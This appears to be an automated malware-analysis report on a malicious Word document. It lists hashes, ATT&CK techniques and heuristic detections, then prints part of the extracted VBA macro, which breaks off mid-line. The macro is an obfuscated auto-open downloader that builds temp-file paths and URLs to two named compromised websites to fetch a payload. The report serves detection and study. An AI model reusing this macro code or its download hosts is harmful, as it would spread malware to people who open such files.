Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c811483ef651019…

MALICIOUS

Office (OLE)

129.5 KB Created: 2015-06-30 21:56:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 1571a4cdaf9d4411c0b377d0cbccaccc SHA-1: c77bb206b8ac9798ff998f941288de270ea764dd SHA-256: 5c811483ef6510191fa7e5ca6279028c7708d12b2be942d8af84070766e1caf0
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains VBA macros with multiple auto-execution entry points (AutoOpen, Workbook_Open, Auto_Open) and uses the Shell() function, indicating it's designed to run arbitrary code. The critical heuristic for 'OLE_VBA_SPLIT_KEYWORD_OBFUSCATION' with the reassembled token 'MSXML2' suggests the macro attempts to download and execute a payload. The ClamAV detection 'Doc.Downloader.Generic-6698421-0' further supports this downloader functionality.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40577 bytes
SHA-256: 52c61250a17eb7dd3b1878b5efa36372cdd9dff793727c0fbc5c5e0734f5ba4c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub HQUhdjsagdhjsagdj_Open()
     
End Sub
Sub Buqdjashdkjkwqhd_Open()
     
End Sub
Sub Auto_Open()
    Huqgdgajsghqgwygdhasd
    Fwiqdjkasdjhkhqwd
End Sub
Sub Jiqhwdjkasdnmbqwd()
    HQUWDIUQWGYDGHSJASGD = "iqhjwduihqwhd iqwh diqwhdiuw qhd"
End Sub
Sub Huqgdgajsghqgwygdhasd()
    HJIQHWDHQWDW = "qhjdhqk hqwjhdqjkwhdqjkwh jkqwhd qwh e"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    HUQDHUIQW = "huqw dhqwui hksdjhqwuidhwqidhquwi d hqwduihauigsd"
    Auto_Open
End Sub
 
Sub Fwiqdjkasdjhkhqwd()

    Dim huwe, auwd As Integer, aabbb As Integer
    Dim HUHPPHPP As String, HBHJVJG As String
    HBHJVJG = "\"
    Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
    Dim retVal As Variant
    
    
    YUGQYD = Ubqhwdhwqbd(23144) + ""
    HUHPPHPP = Chr(84) & "e" + "mp"
    QHDQUWH = YUGQYD
    FL2 = QHDQUWH
    PH2 = Module4.Goabc(HUHPPHPP) + HBHJVJG
    
    woweffect = 6
    jwnqdw = 1 - woweffect
    
    
    JIQWDJQ = 12312312
    JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
    AAAA = JIQWDJQ
    

    HYWDAX = "bajqhuwdkjqw dhqw jdhqiwhudqwhd iqwhdiuqwhdiqwhd wt"
    JWIDJIAAA = ""
    HUYFEA = "qhwgdjqwgdhjqgw udywqd quwgd uhw gdiuqwgduiqwdgwqd"
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "qbgywduqwgd yquwgdyqw gdqowidqwhdjwgd hjqwgd"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    SSS = Chr(AAAA + 1)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    huwe = 1
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 11 + 10 + 25 + huwe + 0) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = "m" & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = ".jpg"
    
    PHT = "" & "ht" & "t" & "p:/" & "/" & ""
    SPIC = Chr(100 + 15) + "av" & "epi" + "c.su" + Chr(30 + 16 + 1)
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "bahuqihd uwqhd qwuydguyqgd yuqwg dqiygd qwjkgqw "
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    
    Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
    TSTS = "." + "t" + "xt"
    CDDD = "167362833333" + TSTS
    LNSS = "kaka" + TSTS
    STT1 = "www.fresh-start-shopping.com/w" + "p-content/uploads/2015/06/"
    STT2 = "www.gode-film.dk/w" + "p-content/uploads/2015/06/"


PBIn = PHT + STT1 + CDDD
    CONT = Module4.Jhuqwhdhsss(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = PHT + STT2 + CDDD
        CONT = Module4.Jhuqwhdhsss(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" + "ext10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module4.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module4.WaitFor (1)
    
    MIWDWQ = PHT + STT
... (truncated)